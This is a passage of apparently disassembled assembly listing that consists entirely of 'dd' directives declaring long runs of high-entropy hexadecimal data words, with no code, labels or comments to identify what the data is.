		dd 0AE1DF232h, 7AC6D7Dh, 68CE6771h, 50F3119Fh, 0BE1CE979h
		dd 5D3B8221h, 40588DB6h, 0FDAE46Ch, 1D65F62Ch, 8C6D5380h
		dd 0F8004136h, 7EA8BE10h, 32E0514h, 4A77A0ABh, 0C19D0E01h
		dd 20C8FBD2h, 5486A30h,	77443AA0h, 87254300h, 2D5424A3h
		dd 1C383045h, 0C7FD1378h, 0F94A1D1Ch, 68AD5B40h, 16C8D8h
		dd 0A042B21Bh, 2E3E0FF7h, 44264D06h, 5A059C0h, 0B4B8336Fh
		dd 1B05BF5Dh, 0C080A51Fh, 0F66B8Ah, 308DF1CFh, 4411358Ch
		dd 0C6B95705h, 0C8806383h, 0FC9E7Ch, 0C19F5E9h,	3193A1FEh
		dd 56118707h, 0C2878073h, 7DB4CD10h, 29DC033Dh,	0F43B5E36h
		dd 0D8EBFDE9h, 0F976A556h, 78D41904h, 48C0CD5Fh, 20D9985Ah
		dd 0FC07862Dh, 74426AD2h, 14804117h, 9B595Ah, 31DBB4FFh
		dd 0E67F7876h, 95BC00Ah, 5300C06Ah, 0DFFCD12Ah,	168C0006h
		dd 0A6D07331h, 0D501BEE8h, 2FEC6EC4h, 0E20833Bh, 317809F9h
		dd 0F480667Ah, 1EB4CF14h, 4F00AFF4h, 92EE5CB3h,	9E7A44h
		dd 0C360129Ch, 78831D2Dh, 73A13200h, 176141D3h,	0D5660720h
		dd 702D976Fh, 22022B29h, 9C7E0F18h, 2FE4E8h, 530C9D55h
		dd 4DC9356h, 0B425220Ah, 7301E82Eh, 0DFE26B0Dh,	15EF6E4h
		dd 2534D9D6h, 700FA128h, 0E03D5D4h, 2262B55Ah, 68B4C219h
		dd 1F7DB0ECh, 0E59F96h,	0A7C348EEh, 0CF00C9DDh,	0C63FF7B9h
		dd 0B21378h, 2EF8621Ch,	6610367Dh, 880BAEF8h, 0F2A4518h
		dd 4CC0FEADh, 430464C1h, 3F7D00B2h, 0BD966AA4h,	0E70041C6h
		dd 314B3913h, 4C6264h, 6075C79Dh, 0C209DCD3h, 0B7C68700h
		dd 4265FA3Ch, 0EB9000BDh, 9C5963E4h, 4E24B20Dh,	43E43834h
		dd 0DDF868D1h, 0F6019828h, 0A5AF5B50h, 7AC42CCDh, 0C1C68800h
		dd 8BC20792h, 1166399Ah, 0C3896D9Eh, 0A6F6BC7Eh, 44D81780h
		dd 0D3FDEC03h, 0BB367552h, 379DA01Eh, 26D50BFBh, 8E1162h
		dd 2F612E6Ch, 17E22902h, 447BAF83h, 112D00C0h, 33BA81B3h
		dd 8801FEFFh, 53EC6FCEh, 0A8EBF785h, 0DA18C1h, 0DD931271h
		dd 0FB2D8CD7h, 0B0D84Ch, 251F965Ch, 3417E5h, 0F5166EC1h
		dd 0F3E4D0Ch, 0C5F49200h, 4730DFC9h, 0C87A0161h, 0FAF848CEh
		dd 0D0D8F6E6h, 6C728D00h, 658C77AEh, 1B250031h,	9A81AA4Ch
		dd 190029CBh, 80FDE80Fh, 4E28BE9Bh, 10141027h, 0E1160201h
		dd 0C499ABAEh, 0B37733B2h, 30036E18h, 0EB87460h, 8445EB96h
		dd 4F6882C0h, 2263D6FDh, 0C5406C80h, 0BAC202EFh, 0B4D8EBA9h
		dd 2C17ADECh, 0D3073C52h, 1347A44Eh, 2D334900h,	400300EEh
		dd 5CEB93B8h, 0F0002BD6h, 8D73B274h, 712C20h, 0E408FDEDh
		dd 80147CC4h, 0B9548B18h, 59C9D30h, 0EC4B326Fh,	81B4E44Fh
		dd 6D0020E2h, 2DA759F6h, 0CDAF47h, 92F8FDCEh, 0E4096475h
		dd 80548030h, 184D3066h, 0B19E7BF9h, 0E201363Eh, 5DA8F82Ch
		dd 0B9D06CB8h, 54450ECBh, 64C0117Ch, 0DCC1AC1Ch, 0C58C3154h
		dd 0E200A4E0h, 56E9BF2Eh, 69CA9329h, 4980503Ch,	2BC08971h
		dd 80195039h, 7FA8378Ah, 2E1C104h, 0A9BB0208h, 0A48353F4h
		dd 390169CCh, 89375F4Eh, 0ACCCE21h, 44120052h, 0F7338A19h
		dd 2D03BABCh, 0ED4BC0AFh, 0DB4290F9h, 51E907F0h, 80D7E88Ah
		dd 26F81D27h, 0BF46E10Eh, 0C8B6CC4Ah, 0D7E6176Ah, 311300E2h
		dd 0ED2548DBh, 0D1364E30h, 156CE61Dh, 0AC5493C6h, 0EBD98A01h
		dd 40BE1171h, 99232FE8h
		dd 8520E83Bh, 0E0A7AFCDh, 352454C0h, 3C8CA4D3h,	4700F9B8h
		dd 450BC6ADh, 0AB00C9EEh, 169F8323h, 0B8B7E2FDh, 77B0EDBh
		dd 90AF2D21h, 656151EFh, 0D804B077h, 0AC3AAD30h, 21463718h
		dd 0A09A0FBEh, 646DA4BAh, 0E76500DDh, 1FEF983Ah, 7A00EE2Fh
		dd 0C4BC1683h, 7D37DB8h, 80FF39C8h, 0F600AF6Dh,	7B2394D9h
		dd 213A2001h, 290BED59h, 316038B0h, 0B80CD678h,	118DD3DEh
		dd 6E750030h, 4DE777B7h, 463DB6Ch, 1244C08h, 6EECE920h
		dd 0FC5EB16Bh, 7D06F0A9h, 0B7292A2Fh, 0B450C858h, 0B56E9BC0h
		dd 0E4972177h, 0B7004591h, 47106E52h, 7A00F968h, 0AC55BAC7h
		dd 0C92EF6h, 1BF0442Fh,	32B8D854h, 27E18A18h, 63B168h
		dd 60B9F36h, 0DDF71086h, 3973E803h, 0A81E5CE7h,	16583E9h
		dd 47C72EF9h, 0E8AC096Ah, 0CC0539A0h, 160E1896h, 11BCB80h
		dd 0D560071Ah, 60B645A4h, 786DDD2h, 0CA589C00h,	341F7F8Ch
		dd 3B6F004Dh, 0AA15F108h, 910090C3h, 0D8B9B25Bh, 3C66B45Dh
		dd 1E1F380Eh, 4CD540ECh, 0BDBE51E8h, 1922ED3Ah,	0FC315A71h
		dd 0A77BC8E3h, 0B3621EEFh, 95400149h, 2055F50Fh, 82183578h
		dd 3C316F2Ch, 262EB8F3h, 19AB0204h, 808A0913h, 0BB885C21h
		dd 7F2CB4Ah, 422FBF6Bh,	0BD7D6092h, 660058B0h, 9DF95C0Bh
		dd 4805BAh, 0A974EC7Bh,	94F715B2h, 45F0C303h, 543EF0Fh
		dd 3ECB9C50h, 39801EBAh, 95494F00h, 0DCFC4559h,	667DBF00h
		dd 1F54E35Bh, 1FA7BA0h,	95BABB12h, 8C1529B7h, 41BFA538h
		dd 0E9FE3904h, 6C2ED00h, 4024C54Ah, 0E0C05B0Ch,	4C48014h
		dd 0CD4B9050h, 0E815E41h, 28A54208h, 4FBA470h, 0C79972D1h
		dd 71CFD0F4h, 6C743BCFh, 70D73102h, 0E0CB7363h,	0A886CC0Fh
		dd 7F9C8Ch, 485DAAF5h, 8FD90E22h, 10B35101h, 0B8309892h
		dd 744708E1h, 0B4FE89A1h, 0DF50D2F8h, 0A8FF0141h, 447D2565h
		dd 7426C014h, 1D064026h, 2D38CE61h, 0C0EAB008h,	7443FB20h
		dd 0B013E12h, 64ABD41Ch, 5080B4CAh, 4975ADDFh, 2D00EF5Ch
		dd 7A2C5A24h, 559EB3h, 98B6AE62h, 6F431CA3h, 5B93091Fh
		dd 2C790CD8h, 0A17200DDh, 9812CBC5h, 44FE06F7h,	317E5F58h
		dd 0FAEFB1BFh, 0DD71C0h, 302573A9h, 27C35CFEh, 0DCB5180Eh
		dd 4CF0F38Ah, 83A23EA1h, 0FB28806h, 0E80740F6h,	0FC9FD6E0h
		dd 3A022F70h, 33911EFDh, 47AD4103h, 1FF423h, 98E0D0D6h
		dd 411CA1C2h, 0A3F41610h, 0C6C21F00h, 5E38B4E7h, 0C8965493h
		dd 0C98900A5h, 0A00867F2h, 0FEE49B33h, 0E6D07F00h, 0A21C51B5h
		dd 3F3500E2h, 3B882A2Dh, 52245DF7h, 760354EBh, 0D9BE249Ah
		dd 4A0058A1h, 86004422h, 4509CA62h, 8B7821h, 0F9F50524h
		dd 5842A193h, 0B62A96E2h, 0A52A9099h, 5F00A8F3h, 16085982h
		dd 74C413Eh, 0D2B4342Bh, 0CD9B3031h, 0F00EFBEh,	3B632EAEh
		dd 73E2E0CAh, 71FCF2C1h, 537C3Ch, 0BAA3037Bh, 28DF5438h
		dd 23A63E1Dh, 47764Eh, 6C2B126Eh, 3A5C0311h, 63B5FF6Ah
		dd 0DAD43801h, 0AFE336FCh, 2658C1F0h, 0C3751D2h, 0D05898D7h
		dd 0FC89A200h, 2062AC60h, 417F0049h, 76903802h,	0C2F665B9h
		dd 344AF21Fh, 780300FFh, 483D22BDh, 0B8DC00E4h,	0DB7195D6h
		dd 0F0006682h, 0E0D970BCh, 157D40Ch, 0DFBD797Ch, 602D54EDh
		dd 0A2032464h, 0BC50A545h, 51800338h, 0F866E1C8h, 11E903Ah
		dd 108A743Ch, 209C78C5h, 38D8044h, 0D4B2C0DFh, 3E792116h
		dd 7B9A3200h, 5442B1BFh, 19466h, 0A99441D6h, 0EAECB9BAh
		dd 4BCD2100h, 290CCC6Ah, 7F4A1804h, 750DC8FFh, 8600F1E4h
		dd 35509AFAh, 7EB92h, 8F675E6Fh, 9F5C225h, 79CA3E0Fh, 71FE8726h
		dd 62806EB0h, 0A6AE3CD1h, 0FDB9926h, 0BB8008B5h, 0D4199792h
		dd 0E200CB78h, 830B2B49h, 7ED86h, 0E721E59h, 0E997E5B5h
		dd 0EAFE621Fh, 47606E03h, 3E507D7Fh, 0EB0072CBh, 0B98DD949h
		dd 20015C7Bh, 719FF754h, 9ADC1626h, 2F18C0D8h, 0E6E06587h
		dd 0FFBD050Fh, 58D3002Ch, 0A7078Ah, 7A8F9DDAh, 0CE71EE5Ch
		dd 0D1B07800h, 13A2C026h, 362BF87Ch, 0F8D8163Eh, 5180486h
		dd 0AE8E7C0Ch, 82D8C2E4h, 2503D343h, 0ED9E0F0h,	5C7D0060h
		dd 1396BE31h, 0DA286632h, 0A9008CD6h, 8C5C94Dh,	77730D8h
		dd 0E4FCD370h, 2B62D16Ah, 0F7AA3022h, 0ED05031Ch, 0C288995h
		dd 195421C9h, 7C0A108h,	0E9200D2h, 0A8A3462Ch, 6D0A26C0h
		dd 607053h, 761C327Dh, 0C8F3E60Ch, 2F8016A8h, 0ECB3F4F7h
		dd 190A005h, 72E3075Eh,	9170FAFDh, 82068733h, 0FE845679h
		dd 0FF7C9188h, 47FD8459h, 885E8983h, 0F1024CA7h, 7235310Ch
		dd 4D1048D5h, 40C8601Eh, 0D98DC93Fh, 48644828h,	0ED0FCF10h
		dd 10E348E6h, 30F1734Bh, 0AD385FA4h, 0C61F7F24h, 0D30143FEh
		dd 30170934h, 9AE28181h, 4720BBA7h, 1895218h, 7A39FE83h
		dd 8A34BFB1h, 1C5F0B59h, 45CA3301h, 7FD4C417h, 94BC5031h
		dd 25675889h, 91114F30h, 801EB118h, 157DDBBAh, 3ABC403Bh
		dd 8EF406C5h, 610FF5Ch,	0D2F2EA9Ah, 0D806206Bh,	6F86AD89h
		dd 0FE77B11h, 6D64BCC4h, 0D9127080h, 4D678C4Bh,	588E7369h
		dd 0F05031C1h, 2B300322h, 61B15291h, 0D7481860h, 4986AC32h
		dd 0FA1E9C2Fh, 82A68690h, 0D230103Bh, 8D44A158h, 8A2F2609h
		dd 0E21E3C1Fh, 8477D408h, 96008B3Bh, 954270B0h,	2A383E31h
		dd 736B00EBh, 3D8BAC2Dh, 3A48CA6Dh, 0A9B1F840h,	686B8234h
		dd 0F064032h, 32E3AE1Fh, 0B5C0AF19h, 4B3E860Ah,	1264486Dh
		dd 68233BF4h, 5412F504h, 0BC9F180Ah, 0D01E5F91h, 0C50A6B7h
		dd 5E406031h, 953F2D0Bh, 0DA2202B0h, 82384A42h,	6463DF70h
		dd 61E42810h, 3D77210Ch, 425F6F08h, 0E223651Fh,	0B101B404h
		dd 948D21h, 4C28E173h, 0C282812h, 49F924DDh, 0A21E808Ch
		dd 9C2CA6FAh, 0CB6EB507h, 0E343DAC6h, 242000DFh, 39F5FA7Ah
		dd 0A702ADF1h, 3D997485h, 5698401Bh, 1043002Eh,	9D1EA69Bh
		dd 5FF6FE71h, 0CBE23E1Ah, 2208F421h, 3BD0928Ch,	9A7F7F0Eh
		dd 0F00B0018h, 0D0885D44h, 60334BCEh, 508D2h, 4456AB21h
		dd 0CB2D520Bh, 37F2F415h, 0EF3B00E4h, 0F9C3A9E2h, 0DCCD008Ch
		dd 0AE86FA7Eh, 0B498315Ah, 13BD9640h, 1E31620h,	0D55FDC8h
		dd 0F8189E62h, 0D7820AC4h, 639CECC2h, 0F1202ADFh, 288900A8h
		dd 0ED20B710h, 0E901D641h, 93D3FC50h, 9FDC8F2Ch, 2C80068h
		dd 0A8207997h, 59007D8Dh, 0E8A46FC0h, 0EE012186h, 3D380049h
		dd 13D2A1BDh, 20EE361Dh, 842A4400h, 0D1F085E4h,	0B502DFFh
		dd 3ECF7C00h, 8D0156C0h, 3AC108E3h, 94F47DDAh, 0C9E538C3h
		dd 27737A00h, 0F9B6B92Bh, 57266601h, 0ADEE5A93h, 75F7AFF8h
		dd 0B1D3007Fh, 98AE1DE8h, 0E7004B96h, 2AC01E92h, 77F63BFh
		dd 31E97E59h, 572310DFh, 0FFF2B682h, 26A87B00h,	1291E67Fh
		dd 4B9D00D6h, 0BCE40D4Ch, 3000CCDEh, 0DFAE3A48h, 0CAC5E9h
		dd 5BD70FF9h, 9EC975E0h, 0E1262905h, 8601643Ch,	0B0397018h
		dd 54928D4h, 0D91D8FFFh, 7480C0D3h, 4D036A5Eh, 0C9050B0Eh
		dd 2EC7C08Ch, 2F6F0009h, 4024F35Bh, 0C100021Ch,	0E2344788h
		dd 6953D9h, 0E51DAF2Dh,	3E977265h, 0EBA23100h, 44C1FC6Fh
		dd 2AE20047h, 1BD389E7h, 8E00176Dh, 927BDE36h, 3EC335DBh
		dd 0A900C54Ah, 91211315h, 0A800C2BDh, 0B3A508Ch, 5F6B9ECh
		dd 0A0BF485Ch, 259C0C6h, 5058D96Eh, 0EBB5007Bh,	0F2C7E9B1h
		dd 0EACD1862h, 709730ECh, 25206300h, 211F527h, 166E05D6h
		dd 594E7Dh
		dd 99D5CEC4h, 0E7055B1Dh, 3B9DD771h, 4FF2BC07h,	8A36780h
		dd 0CE38C201h, 0FDC021A0h, 0CAF85BC4h, 4F49A700h, 0B1843E9Bh
		dd 0B29800A5h, 89E1B5F6h, 0B0010365h, 2ABC56A8h, 90DFD8C1h
		dd 0B2EE8Ch, 0C438A649h, 0A8C35134h, 0A9D04D24h, 84623C00h
		dd 0B2C4958h, 411C201Dh, 99E5080h, 0D6017832h, 79A26023h
		dd 47E889DDh, 22E40030h, 0AB5A9EECh, 0DF7BADCCh, 3DC24302h
		dd 0E0491BFAh, 4EC58FB5h, 5DEC7Dh, 7F2D2021h, 940D5B43h
		dd 2FDC007Fh, 0ACC9DDF9h, 48290A00h, 9E9786DBh,	940D00C3h
		dd 81241DB9h, 60002532h, 89231867h, 0AE5F24Dh, 0B20693EBh
		dd 3CB700BCh, 855448A6h, 1578381Eh, 0CBBC11C0h,	799F9295h
		dd 0B5B04Ah, 210B39A2h,	96055C48h, 2C0A7B00h, 63C6D7F6h
		dd 789912EBh, 0C09E17EDh, 75C8435h, 0E5F05D0Eh,	2F4CC0B8h
		dd 0E61D7732h, 0C08C00DAh, 0C408C379h, 0D1775824h, 2EAEFE18h
		dd 7C0A49D8h, 0F0F2003Eh, 0EB41F45Ah, 90ECCEA2h, 5B004E74h
		dd 0ACCC3DF6h, 24D58D31h, 10035FDh, 4B3697F7h, 0E330C452h
		dd 0CE0064FEh, 19B010AAh, 773292DCh, 0B97A3FA3h, 75E2A280h
		dd 0A64BB3D1h, 13B11100h, 16F327F6h, 0C32100D7h, 7B1DF167h
		dd 2600E052h, 68FE80B0h, 50425Dh, 0AD030E0Fh, 0F1AF3A76h
		dd 0E9004490h, 9EA994A8h, 0E8828A49h, 4C8D4836h, 41486200h
		dd 0AF5BC3ACh, 50A10B24h, 0BD7883B8h, 0B81EF9F5h, 0B30E18h
		dd 67837FBBh, 37F7343Ah, 265D2C01h, 2058EBEEh, 602EE8h
		dd 48FD0B18h, 567BF8EFh, 9CB66907h, 8C20724Ch, 7D6AB8EDh
		dd 96B40083h, 0DD4F5BBFh, 44005E78h, 0D2923E27h, 0DABAF5h
		dd 8A74AC50h, 290E6E56h, 0F001AD76h, 0E094BF66h, 0AD2024E4h
		dd 81060011h, 801BB092h, 0D000D68Bh, 0BBF819BCh, 0D2B454h
		dd 764EF27Dh, 0E5E7DA71h, 76218A3Fh, 5017D803h,	0F0C054F0h
		dd 64A2C2h, 6C1C7D2Ah, 0A3BC4F8h, 0B11FC0Ah, 0A900CCD1h
		dd 245ACDEBh, 91EA1467h, 6301EC3Ah, 1519FA85h, 4EA73079h
		dd 60C79416h, 2E83881Ch, 882A1B0Ah, 3D0C34h, 1AAB9904h
		dd 192CFBDAh, 1D0007E4h, 2E42C405h, 585A7851h, 0E503669Bh
		dd 9C88A11Eh, 1B6EDC8h,	0E697000h, 0B0243D83h, 0B9AC3BC3h
		dd 17B3C000h, 0A053FC92h, 6F386A00h, 25EB51D8h,	12180546h
		dd 1EB720DDh, 0C8E8C0F4h, 3496CEC7h, 0AC0E0538h, 0B38047Eh
		dd 0E5D4160h, 0C3082173h, 84DD4A0Ah, 42341085h,	0C15FC08Ch
		dd 141D1197h, 3680808Dh, 23449587h, 62670CE7h, 0F63085EBh
		dd 71D2B206h, 7078B37Bh, 0F3EC00D8h, 307C6361h,	6500E294h
		dd 0CE05EE27h, 647AB1h,	0C9D980C0h, 615B243Bh, 0BEC85900h
		dd 32B4CDAEh, 9A2F1E9Fh, 0F34B8020h, 9E757903h,	440900Eh
		dd 66258047h, 855AE6h, 0E3C3FDCh, 0A9B0B550h, 0CE97B300h
		dd 35EA116Dh, 0AD100034h, 0FB821FCDh, 313B7F50h, 1308874Fh
		dd 0A1A075D5h, 5328A8h,	0F994204Ah, 8F7CCD0Bh, 29D25B00h
		dd 243A071Bh, 0D9711DF3h, 1A301A6h, 0D052FE21h,	50038473h
		dd 6FA2C020h, 1E28002Dh, 0BE62ED85h, 0B200B372h, 20D9CB65h
		dd 3E83218h, 0A6B75094h, 7891629Bh, 0A3D4FCDDh,	17CDBA00h
		dd 0DC08F64Dh, 0F8EC069Ch, 6046FA25h, 0CE55A000h, 92ABD143h
		dd 54793BFDh, 24139700h, 4F70E139h, 0B0FEEA0Eh,	46B6472Dh
		dd 0C0998340h, 2D40F93h, 9FAE6061h, 0D6457920h,	0BF156273h
		dd 0F87C1Ch, 7AF926CBh,	1F789F1h, 0BEA11AA3h, 0F8FE5C88h
		dd 9000B62Ch, 337AB9D9h, 75F96DCDh, 4B7C0001h, 51297803h
		dd 0FA00C24Dh, 0E11123F3h, 902BABC4h, 5B410134h, 0B86E6D9Ah
		dd 0B549D407h, 0F37350FAh, 7F2C40F2h, 1F800C29h, 0CB06F485h
		dd 0F26C001Dh, 0A77E752Dh, 0B6000F56h, 0DC90D0BAh, 1229C58h
		dd 5C87936Fh, 0F5324D2Dh, 460CF0FCh, 838CDD0Fh,	160E006Ah
		dd 87A1CDh, 0A6453A94h,	0D4F0D210h, 90C01117h, 0F6CC6700h
		dd 24E74FC2h, 75CD856h,	10ECEB58h, 844C6E85h, 80245BE4h
		dd 15822CC4h, 0C88A27DFh, 791809DDh, 74B02Bh, 5D06B871h
		dd 9588B5E2h, 0B64810A0h, 60964100h, 0BD7F07C5h, 36540011h
		dd 78144D82h, 7A174F53h, 3C5F97BAh, 6180631Fh, 8FE4A5E3h
		dd 0E93D00D8h, 6BB104C4h, 0A9C36215h, 0EE290Dh,	895B630h
		dd 7896A431h, 0EF2ADCE9h, 6B0B7278h, 46E368h, 0CC3519CDh
		dd 1A5D0060h, 0DDD6C588h, 0CD50B8E9h, 0C3163C3Ch, 1000809Dh
		dd 611F3BBBh, 7C5A1EA8h, 0CE183F08h, 0E6341062h, 97BE9900h
		dd 15D9C2E4h, 69E901DBh, 38E32A9Ch, 8256FC57h, 30C049CAh
		dd 77EC003Eh, 391B92F9h, 9CCE006Ch, 4FD08B0Eh, 7C008932h
		dd 0DE3D1FCCh, 0E4F29Eh, 5D9D5550h, 0EB42EEBBh,	0B944FF00h
		dd 95C998D6h, 6FAA03A9h, 0E248D79Eh, 0F8CA1C98h, 0E02F380Ah
		dd 0B601A209h, 0FCC29652h, 193198CCh, 8A06B7Ch,	49D074ECh
		dd 0F4C28E00h, 0FCE23A04h, 1E4EAAAh, 0BD60DFAh,	8057B65Dh
		dd 5F8CA0C9h, 183225Ah,	8E8D61FFh, 0F0C0D787h, 606E79C5h
		dd 15486029h, 0C2DE35Ch, 4DBBED9Ch, 85608408h, 11307B20h
		dd 8C403A57h, 0C9FA00F2h, 62B17008h, 0A228D73Ch, 58DC98F5h
		dd 112B00A3h, 9BE5E331h, 2185E786h, 0A8155394h,	9563014Bh
		dd 2D039D1Dh, 5DE8D1CDh, 0CA442A69h, 94B650C4h,	0B5098C48h
		dd 8896FD99h, 0E364941Fh, 0C28D1C40h, 4E0093CEh, 0D2BB6E30h
		dd 188CBAA5h, 689F8105h, 68000A99h, 93CA1658h, 63C86CCDh
		dd 0C16A182Eh, 0D0A444EAh, 0C08C6231h, 284896C2h, 443C7BF6h
		dd 0C40B17E7h, 800524BEh, 97F54F65h, 6E320063h,	350E4534h
		dd 6A3FCB36h, 9178601Dh, 16CC3714h, 12962104h, 6FA000FFh
		dd 9A657987h, 380F5100h, 3436B278h, 32E70058h, 0EAC52380h
		dd 460054CAh, 8E76D56Ah, 3EB6B06h, 0AFF4D9D2h, 0AC001C4Dh
		dd 64D395A5h, 30A358Dh,	410893E5h, 0D1B84955h, 7679E8EDh
		dd 3197A10Bh, 478104A0h, 0F1FDCB80h, 0A62A1FC9h, 21602E1h
		dd 3D42DB59h, 9CF50417h, 0FA2E00CBh, 26124D89h,	9469A000h
		dd 104BF45Dh, 0D0E30F29h, 7900C30Dh, 4738605Ch,	1C6D242Eh
		dd 17064E17h, 0F200E85h, 935E848Fh, 611D2806h, 0AF3BE200h
		dd 0A12135BBh, 6B9019Ah, 602505F5h, 1BB3204Dh, 1A12A618h
		dd 3952231h, 929E5791h,	898B8EBBh, 0B9D00818h, 70CF20h
		dd 57A29C91h, 3217E027h, 3E3AA90Ch, 0A7D101h, 0EDB48178h
		dd 4A2E99A2h, 23AEC300h, 608A909Fh, 0A727313Fh,	0C40759E0h
		dd 370251E7h, 0E0EE9D85h, 12BB608Dh, 7391C0F7h,	930715EDh
		dd 8B85890Ch, 2A258981h, 28CD3CAh, 322D6584h, 0ACA0DACFh
		dd 943F4A15h, 3BDD5600h, 8BCD89B2h, 802B03B8h, 19059827h
		dd 312D6100h, 69704801h, 0E2DA1DE9h, 26EC0065h,	16727EACh
		dd 0B28FC501h, 0A969E5F1h, 0AFB8A6h, 389F1775h,	5E00D0EBh
		dd 737F0562h, 26B6D2A5h, 1EFB7A7Bh, 856EC1F2h, 80260A4Dh
		dd 0E4A38B71h, 670BECh,	3A8E4481h, 47CE7928h, 0D88A2500h
		dd 8372FF0Dh, 2ADF7559h, 0F2AC1E98h, 0E1956F85h, 15DB309h
		dd 4EE71337h, 0D72824h,	0AF315861h, 0D001BA37h,	0ABD92C00h
		dd 0E6825271h, 4098A8D1h, 693000CAh, 3B195403h,	6D541285h
		dd 1A60B7ACh, 41464371h, 210200F4h, 0B0507003h,	4400F175h
		dd 0C88AFE9Dh, 48D859CCh, 0CBC32805h, 410049A1h, 0CC2F500Dh
		dd 643353h, 0F6D08D80h,	93D6A754h, 0DA5E9603h, 2FB808h
		dd 0D206F131h, 9D4B5DD7h
		dd 0B4726900h, 10C0DF7Bh, 3C46009Fh, 0B2C8FE4Ah, 0C5509A8h
		dd 578DDC84h, 0B8E5FC00h, 1A5EC20Ah, 830600C6h,	45AF4CA0h
		dd 89746AF5h, 74DC1B24h, 3D913FC0h, 6E42109Eh, 9C868892h
		dd 8791C01Dh, 17A433CCh, 63E74B15h, 6CD400B4h, 7A12FE55h
		dd 1C380093h, 42062266h, 2F004B91h, 7787F6BFh, 0AB09830h
		dd 0D22C8445h, 7848B0h,	9395C719h, 1B00C590h, 62EDBAF1h
		dd 1466233Dh, 9D724FECh, 8D39EB00h, 29188994h, 5B0B8A04h
		dd 0A0908ECAh, 12DE937Bh, 938257Ah, 70222D6Ch, 54005CC2h
		dd 0F2DE2Bh, 57CBD925h,	0B1BD824Fh, 0EFD40C02h,	0A00D0617h
		dd 0E7851488h, 0CE5B000Eh, 423BEA8Fh, 0D1018ECFh, 6E45E16Bh
		dd 802468E6h, 0E3F80010h, 2716D4EDh, 8C12B06Ah,	783022E4h
		dd 0FD28976h, 87F42C18h, 47B33B02h, 3E161460h, 5CAF48h
		dd 0D525CEB7h, 0A93DB92h, 6A31B37h, 916260D0h, 18E59E5Ah
		dd 0E0E489D3h, 0CA035C91h, 71D164FFh, 8251F1E6h, 60951430h
		dd 2D874919h, 88A8C002h, 19C0210Ah, 0AB495F86h,	7D3F0169h
		dd 0BEBBC69Bh, 0A6F8DC93h, 54EF3409h, 0F3C004CEh, 0A010E549h
		dd 0E802DDA2h, 0D738A699h, 0B594A05Ch, 6DF86Ch,	9B634F1h
		dd 2493D831h, 9C9ED22Ah, 0DC912E2Ah, 741CA400h,	0E88045FCh
		dd 0E2C924Ch, 0AC8B4364h, 0A06C941Eh, 1C559216h, 529A0C0Ch
		dd 0DA372F89h, 0DE0449A8h, 1F10C8h, 0CA767829h,	45B1A0FCh
		dd 0C9D320B1h, 1F08C2DBh, 3FAD2C01h, 2426A18Dh,	86007C33h
		dd 0F15DDBDh, 0AD01B90Bh, 1ABB1891h, 46F80C1Eh,	16760C7Dh
		dd 2A95879h, 3BBC9D54h,	0A9303E30h, 99B827h, 548863D8h
		dd 6E47A5D6h, 499C4300h, 8EEF7671h, 32E78AAh, 0EDE870B0h
		dd 4900BF31h, 1785CCE2h, 2C63EAh, 454A79FCh, 4E73E6BDh
		dd 7DAE5502h, 856DED7Fh, 8C9382D1h, 0E15CE813h,	7D160648h
		dd 1814CC32h, 96825913h, 2FD5F801h, 0A84427C6h,	18E8B432h
		dd 0CB881D90h, 7D77020Fh, 0B0682C6h, 2C962848h,	3BD61000h
		dd 24789BA6h, 3609077h,	0FFB29416h, 413A4A03h, 1EC70366h
		dd 9BDCF42Fh, 1977E3h, 0A6C62D7Bh, 86865EAh, 81B1B530h
		dd 28AC99DBh, 70ECA9F9h, 0D5772256h, 58E45A3Ah,	4D340480h
		dd 3C8727EEh, 87CDC830h, 1EECE501h, 2657C76h, 0D576869h
		dd 1C488590h, 35066B29h, 0B5180E4Dh, 53890038h,	0C4C5381Ah
		dd 221C2890h, 48B07403h, 48CF7510h, 5F2CB4D0h, 6EBC0A99h
		dd 6C8A4318h, 9F5EE0CFh, 0E638F41h, 0D05D1FC0h,	0F44E36D8h
		dd 188D03B4h, 701E303Bh, 0F5310BD0h, 6524D172h,	2C007848h
		dd 2F404FE1h, 25DD0333h, 6A373A85h, 6D83DEE0h, 896168B0h
		dd 0DB8D3EB8h, 2194600h, 9C053928h, 0AA10E44h, 99720C45h
		dd 0E93D41E0h, 0E06E071h, 0A5DB33Fh, 101384D2h,	0CFA15400h
		dd 0B07C8B5h, 8C9DF1AEh, 21170086h, 0D3A85D00h,	496ED598h
		dd 0C7C6240Ch, 202E92B0h, 627C3E18h, 0F7869201h, 1801B37Ah
		dd 0C3DA9180h, 4D7104A1h, 0CF17AB03h, 7B93D932h, 4FE80039h
		dd 96463AB6h, 0C3400B27h, 941A007Dh, 57799B45h,	0A200BCEAh
		dd 484650E8h, 8D822Ch, 0B3CC0406h, 5C1F15BDh, 0EA9CB600h
		dd 34E0D617h, 0FB05004Fh, 875FDABEh, 0D007218h,	0D02AABEFh
		dd 1E76A9h, 9D811D4Ah, 5E2E37F2h, 501BC41Ch, 0B0906E8Ah
		dd 0E80C0E12h, 2C75A9C7h, 0C0445A0Dh, 2595DE46h, 8975D046h
		dd 0CCDEE59Dh, 2E001F9Ch, 813E256Bh, 0AB4B0A40h, 7E77C8BCh
		dd 88D1000Fh, 0B9824E08h, 1E711284h, 2C72AA81h,	0F08C1B00h
		dd 479F95DAh, 19C0C672h, 5091A192h, 40C901C1h, 5941EE2h
		dd 2C61859Bh, 3098A01Bh, 2E917D83h, 7100629Eh, 0BE91ECD9h
		dd 0E8C48C00h, 0DAC253DFh, 0D2142425h, 2DA60F74h, 87D0124Ah
		dd 10AE5C15h, 0A0EEC0E4h, 0ECE87402h, 970B8CE9h, 80C21194h
		dd 0B4DA55BEh, 68670447h, 987FD26Fh, 0CF087650h, 0C4DFC8DAh
		dd 8A4930h, 1AA02760h, 23290F71h, 0E25DC9FFh, 838AAB00h
		dd 213DB16Fh, 0C4E22Ah,	0ACCCBC2Fh, 12648242h, 0C82EBB05h
		dd 0CC83AF4Fh, 8C30CCA9h, 9E255891h, 6910998Ah,	916B8210h
		dd 7D8C153Bh, 0CED801Dh, 9FB8DD80h, 0B603A1Ah, 698F5221h
		dd 0C7771484h, 0D6D500B9h, 733DD194h, 93CC8E8h,	1D7FE5Ah
		dd 0EC7398Ch, 76B2CF8h,	0E5B9836Dh, 0E96E70D4h,	714AD51Ah
		dd 18C58000h, 9F600F82h, 8AE0DCE3h, 71B08366h, 9E455803h
		dd 780D33Dh, 1926DB78h,	38E3F5A9h, 14215820h, 50328569h
		dd 92E440A6h, 12D8C83Fh, 0D3A1B605h, 0D030C4BDh, 10B0CF94h
		dd 0C8B28FC8h, 0DF348021h, 0D8486DD3h, 0ACC74C03h, 0C0052E84h
